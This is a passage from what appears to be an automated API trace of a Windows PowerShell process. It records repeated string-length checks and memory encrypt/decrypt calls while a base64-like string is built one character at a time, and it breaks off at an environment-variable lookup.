0x10 [0221.161] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.161] SysStringLen (param_1="/Da6S3oXPA䥦陉ଯ㈚") returned 0x10 [0221.161] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.161] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ\폘涎ㅻ볓ヹ⍋᜶⋉) returned 0x10 [0221.161] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ\폘涎ㅻ볓ヹ⍋᜶⋉) returned 0x10 [0221.161] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.161] SysStringLen (param_1="/Da6S3oXPAf陉ଯ㈚") returned 0x10 [0221.161] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.213] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ쌶䪧걉熣≉졂谏ᳺ") returned 0x10 [0221.213] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ쌶䪧걉熣≉졂谏ᳺ") returned 0x10 [0221.213] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.213] SysStringLen (param_1="/Da6S3oXPAfxଯ㈚") returned 0x10 [0221.213] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.213] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ퓖⪾컧맧⭧嬎") returned 0x10 [0221.213] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ퓖⪾컧맧⭧嬎") returned 0x10 [0221.213] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.214] SysStringLen (param_1="/Da6S3oXPAfxlଯ㈚") returned 0x10 [0221.214] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.214] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ広鈼㖄⦤叮ৣ줤냌") returned 0x10 [0221.214] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ広鈼㖄⦤叮ৣ줤냌") returned 0x10 [0221.214] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.214] SysStringLen (param_1="/Da6S3oXPAfxljଯ㈚") returned 0x10 [0221.214] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.214] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａᐁັ儛ꩊ心斢쑺킂") returned 0x10 [0221.214] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａᐁັ儛ꩊ心斢쑺킂") returned 0x10 [0221.214] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.215] SysStringLen (param_1="/Da6S3oXPAfxljd㈚") returned 0x10 [0221.215] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.215] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ틸鍕ꦵࡆ欵労믅뷵") returned 0x10 [0221.215] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ틸鍕ꦵࡆ欵労믅뷵") returned 0x10 [0221.215] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.215] SysStringLen (param_1="/Da6S3oXPAfxljd/") returned 0x10 [0221.215] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0221.215] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵") returned 0x10 [0221.216] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵") returned 0x10 [0221.216] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵") returned 0x10 [0221.216] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵") returned 0x18 [0221.216] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.217] SysStringLen (param_1="/Da6S3oXPAfxljd/h㶿홺쵚㞗¬᭰᭎") returned 0x18 [0221.217] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.217] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵为\꣙㭋叛ꯀꔷ軚≞) returned 0x18 [0221.217] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵为\꣙㭋叛ꯀꔷ軚≞) returned 0x18 [0221.217] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.217] SysStringLen (param_1="/Da6S3oXPAfxljd/hm홺쵚㞗¬᭰᭎") returned 0x18 [0221.217] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.217] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵堄⩞ꗁ㼤綖ꉺ筶ῆ") returned 0x18 [0221.217] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵堄⩞ꗁ㼤綖ꉺ筶ῆ") returned 0x18 [0221.217] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.218] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2쵚㞗¬᭰᭎") returned 0x18 [0221.218] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.218] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵먹뾿⦳ጛ푐鯪⦈") returned 0x18 [0221.218] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵먹뾿⦳ጛ푐鯪⦈") returned 0x18 [0221.218] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.218] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k㞗¬᭰᭎") returned 0x18 [0221.218] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.218] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵\⛞䎨댨ỡﹱᅱ薽⋆) returned 0x18 [0221.218] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵\⛞䎨댨ỡﹱᅱ薽⋆) returned 0x18 [0221.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.219] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8¬᭰᭎") returned 0x18 [0221.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.219] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵㪅䒘뾕盇風↨ꆆ") returned 0x18 [0221.219] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵㪅䒘뾕盇風↨ꆆ") returned 0x18 [0221.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.219] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8W᭰᭎") returned 0x18 [0221.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.219] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵㥱ᅑ쏍᪓櫀擓") returned 0x18 [0221.220] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵㥱ᅑ쏍᪓櫀擓") returned 0x18 [0221.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.220] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8Wt᭎") returned 0x18 [0221.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.220] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵狼䰄咡䬽愧䈲㰜鮙") returned 0x18 [0221.220] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵狼䰄咡䬽愧䈲㰜鮙") returned 0x18 [0221.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.220] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8Wtd") returned 0x18 [0221.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0221.221] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看") returned 0x18 [0221.221] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看") returned 0x18 [0221.221] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看") returned 0x18 [0221.221] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看") returned 0x20 [0221.222] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.222] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdG肗僙矸✞䐙먰") returned 0x20 [0221.222] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.222] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看廁헾壋䈆㦉랲䎱") returned 0x20 [0221.222] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看廁헾壋䈆㦉랲䎱") returned 0x20 [0221.222] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.222] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGk僙矸✞䐙먰") returned 0x20 [0221.222] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.222] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看\駘睵bċ馼姺뗖⊱) returned 0x20 [0221.223] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看\駘睵bċ馼姺뗖⊱) returned 0x20 [0221.223] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.223] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkz矸✞䐙먰") returned 0x20 [0221.223] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.223] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ꖣﻛꛐ색暿챡ᆊ\⋘) returned 0x20 [0221.223] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ꖣﻛꛐ색暿챡ᆊ\⋘) returned 0x20 [0221.223] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.223] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzO✞䐙먰") returned 0x20 [0221.223] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.224] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看⋃䅍㝍仏㌍懨ⲝ") returned 0x20 [0221.224] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看⋃䅍㝍仏㌍懨ⲝ") returned 0x20 [0221.224] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.224] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzOb䐙먰") returned 0x20 [0221.224] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.224] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看䲀꜈ꨋ鑔꼼菂ﯦ圠") returned 0x20 [0221.224] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看䲀꜈ꨋ鑔꼼菂ﯦ圠") returned 0x20 [0221.224] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.224] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC먰") returned 0x20 [0221.225] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.225] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看䦹䞒㶊쯾䊅Ȏ蹗➹") returned 0x20 [0221.225] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看䦹䞒㶊쯾䊅Ȏ蹗➹") returned 0x20 [0221.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.225] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7먰") returned 0x20 [0221.225] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.225] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看扫ⷯ砤㦓蘜ի箴染") returned 0x20 [0221.225] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看扫ⷯ砤㦓蘜ի箴染") returned 0x20 [0221.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.226] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7F") returned 0x20 [0221.226] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0221.226] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐") returned 0x20 [0221.226] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐") returned 0x20 [0221.226] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐") returned 0x20 [0221.227] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐") returned 0x28 [0221.227] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.227] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FU敽ᡢ镃쬉칫") returned 0x28 [0221.227] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.227] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐쨖䭑뉂孁ھ븕ү") returned 0x28 [0221.227] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐쨖䭑뉂孁ھ븕ү") returned 0x28 [0221.228] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.228] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHᡢ镃쬉칫") returned 0x28 [0221.228] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.228] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐볬얽㊚핕뿞⏬꤮") returned 0x28 [0221.228] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐볬얽㊚핕뿞⏬꤮") returned 0x28 [0221.228] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.228] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHTᡢ镃쬉칫") returned 0x28 [0221.228] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.228] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐썬䜀⇶珰菜\蟜\㓟") returned 0x28 [0221.229] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐썬䜀⇶珰菜\蟜\㓟") returned 0x28 [0221.229] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.229] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3镃쬉칫") returned 0x28 [0221.229] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.229] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐ꤴᰲ㤝虽椆⊵") returned 0x28 [0221.229] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐ꤴᰲ㤝虽椆⊵") returned 0x28 [0221.229] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.229] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3t镃쬉칫") returned 0x28 [0221.229] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.229] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐詌연ᯎ螉薫뽭站촦") returned 0x28 [0221.230] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐詌연ᯎ螉薫뽭站촦") returned 0x28 [0221.230] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.230] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tu쬉칫") returned 0x28 [0221.230] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.230] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐뫙귟䔈䍰㩼龯轭疽") returned 0x28 [0221.230] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐뫙귟䔈䍰㩼龯轭疽") returned 0x28 [0221.230] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.230] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuP칫") returned 0x28 [0221.230] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.231] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐㓰ﻡ찳랻Ꙣ讏ଗ哾") returned 0x28 [0221.231] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐㓰ﻡ찳랻Ꙣ讏ଗ哾") returned 0x28 [0221.231] SystemFunction041 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.231] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuPL") returned 0x28 [0221.231] SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.231] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜") returned 0x28 [0221.231] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜") returned 0x28 [0221.231] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜") returned 0x28 [0221.232] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜") returned 0x30 [0221.232] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.232] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuPLh㰍ﹰ䚈螨鷆䖧") returned 0x30 [0221.232] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.233] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜븍཮ꦻ䑷ဂ꼪摰") returned 0x30 [0221.233] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜븍཮ꦻ䑷ဂ꼪摰") returned 0x30 [0221.233] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.233] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuPLhJﹰ䚈螨鷆䖧") returned 0x30 [0221.233] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.233] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜߷㢀瑊숤䏹憹ᣠ⚂") returned 0x30 [0221.233] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜߷㢀瑊숤䏹憹ᣠ⚂") returned 0x30 [0221.233] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.233] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuPLhJcﹰ䚈螨鷆䖧") returned 0x30 [0221.233] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.234] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜ꀔ➋誑ⴲህ☦砱") returned 0x30 [0221.234] SysStringLen (param_1="逻淕㸏ⲇ据䇪硜Ａ盚Ԫꄓ瞔뱸뛓栃홵둽렂➰촶곱饻看ﴲ巨鱻ꊬ獹⌼롺͐最Ҙ蕗䒾쵧㇗袜ꀔ➋誑ⴲህ☦砱") returned 0x30 [0221.234] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.234] SysStringLen (param_1="/Da6S3oXPAfxljd/hm2k8WtdGkzObC7FUHT3tuPLhJc=䚈螨鷆䖧") returned 0x30 [0221.234] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0221.234] EtwEventActivityIdControl () returned 0x0 [0221.234] EtwEventActivityIdControl () returned 0x0 [0221.234] EtwEventActivityIdControl () returned 0x0 [0221.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 